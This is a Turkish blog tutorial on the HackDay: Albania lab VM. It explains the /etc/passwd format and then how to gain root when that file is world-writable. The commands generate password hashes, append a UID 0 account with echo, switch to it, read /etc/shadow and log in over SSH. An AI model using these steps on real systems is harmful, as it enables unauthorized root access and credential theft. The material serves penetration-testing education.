Erişim İzinleri Uygun Ayarlanmamış /etc/passwd Dosyasının Kötüye Kullanılarak Hak Yükseltilmesi

Sızma testleri sırasında standart haklar ile erişim sağlanabilmiş bir bilgisayarda, hak yükseltilerek yönetici hakları elde edilmeye çalışılır. Hak yükseltmek için kullanılan yöntemlerden birisi de erişim (okuma/yazma/çalıştırma) yetkisi uygun olarak yapılandırılmamış kritik dosyaların yetkisizce değiştirilmesidir. Bu yazıda, herkes tarafından yazılabilir olarak bırakılmış “/etc/passwd” dosyasına sahip HackDay: Albania sanal makinesi üzerinde “root” yetkisine sahip bir kullanıcı ile oturum elde edilecektir.

Yazıda kullanılan HackDay: Albania sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/hackday-albania,167/

 

A) /etc/passwd Dosya İçeriğinin İncelenmesi

*nix işletim sisteminde bulunan /etc/passwd dosyası, kullanıcı hesaplarının temel bilgilerini depolar. Bu dosyanın yetkilendirmesi 644 olarak belirlenmiştir.

ls -la /etc/passwd

 

Bu dosyasının sahipliği “root” kullanıcısındadır. Ancak kimlik doğrulama ve bazı temel işlemler için herkes tarafından okunabilir olmalıdır. Bu sayede oturum açan kullanıcı hesabı ev dizinini bilir, ID değeri ile yetki kontrolü gerçekleştirilebilir,…

Dosya içeriği iki nokta üstüste (“:”) karakteri ile ayrılmış olarak 7 kolondan oluşur. Örnek bir kullanıcı oluşturulma işlemi ve bu kullanıcının bilgileri aşağıdaki gibi sıralanabilir.

adduser ahmet
cat /etc/passwd | grep ahmet

 

Kullanıcının bilgileri /etc/passwd dosyasına aşağıdaki gibi kaydedilmiştir.

ahmet:x:1002:1003:Ahmet Guvenli,443,+904438443,+904439443,Son:/home/ahmet:/bin/bash

Bu 7 bilgi aşağıdaki gibi sıralanabilir.

  • İsim [1. Sütun –> ahmet]: Kullanıcının oturum açarken kullandığı hesap adıdır. 1-32 karakter uzunluğunda olabilir. Verilen isim varsayılan olarak küçük harfle başlar ve sistemde olan bir kullanıcı adı ile aynı olmaması gerekir

Not: En çok kullanılan ve varsayılan olarak da gelebilen kullanıcı isimleri aşağıdaki sıralanabilir.

games, nobody, proxy, syslog, www-data, root, news, bin, mail, dhcp, daemon, sshd, man, lp, mysql, gnats, backup, sys, klog, vmware, list, irc, sync, uucp, oracle

  • Parola Özeti [2. Sütun –> x]: Kullanıcı hesabının parolasının özetlenmiş halidir. Eski işletim sistemlerinde kullanılmakta idi. Ancak /etc/passwd dosyası herkes tarafından okunabilir olduğu için bu durum kötüye kullanılabilmektedir. Herhangi bir kullanıcı özetlenmiş kimlik bilgilerini alırsa kaba kuvvet saldırıları ile parolaların açık halini elde edebilir. Bu durumun önüne geçmek için, modern *NIX sistemlerde, parola özet bilgileri /etc/shadow dosyasında saklanmakta ve dosya yetkilendirmesi 640 olarak belirlenmiştir, herkes tarafından okunabilir yapılmamıştır.

  • ID [3. Sütun –> 1002]: Kullanıcı hesabının ID değeridir. “root” kullanıcı hesabının UID değeri 0 olacak şekilde, bazı ön tanımlı kullanıcı hesaplarınki 1-99 arasında olacak şekilde, yönetimsel/sistemsel hesaplarun ve gruplarınki ise 100-999 arasında olacak şekilde ayrılmıştır. Sonradan oluşturulan kullanıcı tanımlı hesapların UID değeri ise 1000 ve sonrası olacak şekilde otomatik olarak belirlenmektedir.

Not: Bu değer kullanıcı oluşturulurken de belirlenebilir.

  • Birincil Grup ID [4. Sütun –> 1003]: Kullanıcı hesabının birincil grubuna ait ID değeridir. Bu değer /etc/group dosyasında depolanmaktadır.
  • Yorum [5. Sütun –> Ahmet Guvenli,443,+904438443,+904439443,Son]: Kullanıcı hesabına ait bilgilerdir. Kullanıcının tam adı, oda numarası, iş/ev telefon numarası,… gibi yoruma açık, kullanıcıyı tanımlayıcı bilgiler bu alana girilebilir.
  • Ev Dizini [6. Sütun –> /home/ahmet]: Kullanıcının oturum açarken düşeceği ev dizinidir.

Not: Bu dizin yoksa, kök dizine (“/”) düşülür.

  • Komut / Kabuk [7. Sütun –> /bin/bash]: Kullanıcının oturum açarken çalışacak komuttur. Bu değer genellikle kabuk verilir ve kullanıcının komut çalıştırabileceği bir ortam hazırlanmış olur. Bunun yanında bin/false, sbin/false, bin/nologin, sbin/nologin, /usr/sbin/nologin,… gibi kabuklar etkileşimli oturum açılması istenmeyen hesaplar için kullanılır.

 

B) /etc/passwd Dosyasını Kullanan Temel Komutlar

/etc/passwd dosyası parola değiştirme, oturum değiştirme, oturum açma, kullanıcı oluşturma,… gibi bir çok işlem sırasında kullanılabilir. Bu dosyayı kullanan temel komutlar aşağıdaki gibi sıralanabilir.

passwd
su
sulogin
getent
login
pwck
pwunconv
chpasswd
chsh
chfn
useradd
adduser
userdel
deluser

 

C) /etc/passwd Dosya Yetkilendirmesinin İstismarı

www-data kullanıcı yetkileri ile erişim elde edilen bir sanal makinede /etc/passwd dosyasının yetkilendirmesi 644 değil 646 olduğu görülmektedir. Yani herkes için yazılabilir olduğu görülmektedir.

ls -la /etc/passwd

 

Dosya içeriği aşağıdaki gibidir.

head -3 /etc/passwd

 

İçeriği her kullanıcı tarafından değiştirilebilir olarak ayarlanmış olan /etc/passwd dosyasına yeni bir kullanıcı hesabı olarak aşağıdaki satır eklenerek, bu kullanıcı ile oturum açılmaya çalışılabilir.

YeniHesap:x:1001:1001:,,,:/home/YeniHesap:/bin/bash

 

Bu kullanıcının yetkisinin “root” gibi olmasının sağlanması için “root” kullanıcısı ile aynı olacak şekilde kullanıcı ID değeri (“0”), grup ID değeri (“0”), ev dizini bilgisi (“/root”),… ayarlanabilir.

YeniHesap:x:0:0:,,,:/root:/bin/bash

 

Ayrıca oturum açma sırasında parola kontrolünün /etc/shadow dosyasından değil, /etc/passwd dosyasından yapılması için (normalde “x” olarak bırakılan) ikinci sütuna özetlenmiş parola bilgisi girilebilecektir. Parolanın saklanacağı metod MD5, SHA-256, SHA-512,… olabilir. Bir kullanıcı oluşturulurken, /etc/shadow dosyasında parolanın nasıl saklanacağı /etc/login.defs dosyasında belirtilmiştir.

cat /etc/login.defs | grep ENCRYPT_METHOD

 

Mevcut sanal makinede parolalar, tuzlandıktan sonra SHA-512 algoritması ile özetlenerek saklanmaktadır. Bu şekilde bir parola hazırlamak için basit bir Python betiği kullanılabilir. Bu betiğe parolanın kendisi (“Parola123”), kullanılacak olan özetleme algoritması (“SHA-512” için “6” kodu) ve kullanılacak olan tuz değeri (“TuzDegeri”) verilebilir.

python -c ‘import crypt; print crypt.crypt(“Parola123”, “$6$TuzDegeri$”)’

 

Böylece çıkan değer “x” ile belirtilen yere eklenebilir.

YeniHesap:$6$TuzDegeri$fp2SDDsBrZL1s97kLVqmwbcJukabnRcHpYgD2mJvQd50ppY0K/MUjwz3YKuxLzxyOq/T4J5JnsaCuy7J2u8Ox0:0:0:,,,:/root:/bin/bash

 

Bunun yanında Python betiği yerine “openssl” aracı ile de yeni bir parola özeti oluşturulabilir. Ayrıca SHA-512 yerine MD5 gibi diğer özetleme algoritmaları da kullanılabilir.

openssl passwd -1 -salt TuzEki Parola123

 

Böylece çıkan değer “x” ile belirtilen yere eklenebilir.

YeniHesap:$1$TuzEki$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash

 

Not: Paket yüklü ise “mkpasswd” aracı ile de parola özeti oluşturulabilirdi.

mkpasswd -m SHA-512 Parola123 TuzDegeri

 

Elde edilen satır /etc/passwd dosyasına eklenmeya hazırdır. Bu amaçla “echo” komutu ve “$” karakterlerini kullanmak için de “\” ayıracı kullanılabilir.

echo “YeniHesap:$1$TuzEki$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash”
echo “YeniHesap:\$1\$TuzEki\$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash”
echo “YeniHesap:\$1\$TuzEki\$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash” >> /etc/passwd
tail -3 /etc/passwd

 

Not: Bunun yanında “vi” gibi editörler veya SCP ile dosya kopyalama gibi metodlar da kullanılabilirdi.

Böylece yeni oluşturulan kullanıcı hesabı ve “Parola123” parolası ile oturum açılabilir.

su – YeniHesap
id
pwd
head -3 /etc/shadow
tail -3 /etc/shadow

 

Not: Etkileşimli oturum elde edilmediği durumda “root” hesabı ile uzaktan oturum açılaması bir şekilde (/etc/ssh/sshd_config dosyasındaki “PermitRootLogin” parametresi ile,…) engellenmişse, başka bir kullanıcı ID’si kullanılarak yeni kullanıcı oluşturulması gerekebilir. Örneğin, Albania sanal makinesinde “taviso” ile aynı özellikteki “YeniHesap_Taviso” ile uzaktan SSH ile oturum açılabilrken, “root” ile aynı özellikteki “YeniHesap” ile uzaktan erişim sağlanamamaktadır.

echo “YeniHesap_Taviso:\$1\$TuzEki\$bSynt.S1Rbk7t6MNELmxR0:1000:1000:,,,:/home/taviso:/bin/bash” >> /etc/passwd
tail -3 /etc/passwd
ssh YeniHesap@192.168.1.111
ssh YeniHesap_Taviso@192.168.1.111

 

Kaynaklar:

https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/
http://blog.btrisk.com/2016/09/kali-linux-kullanici-yonetimi.html
https://www.aucyberclub.org/blog/2017/03/03/hackadayalbaniactfsolution.html
http://www.hackingarticles.in/hack-hackday-albania-vm-ctf-challenge/

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.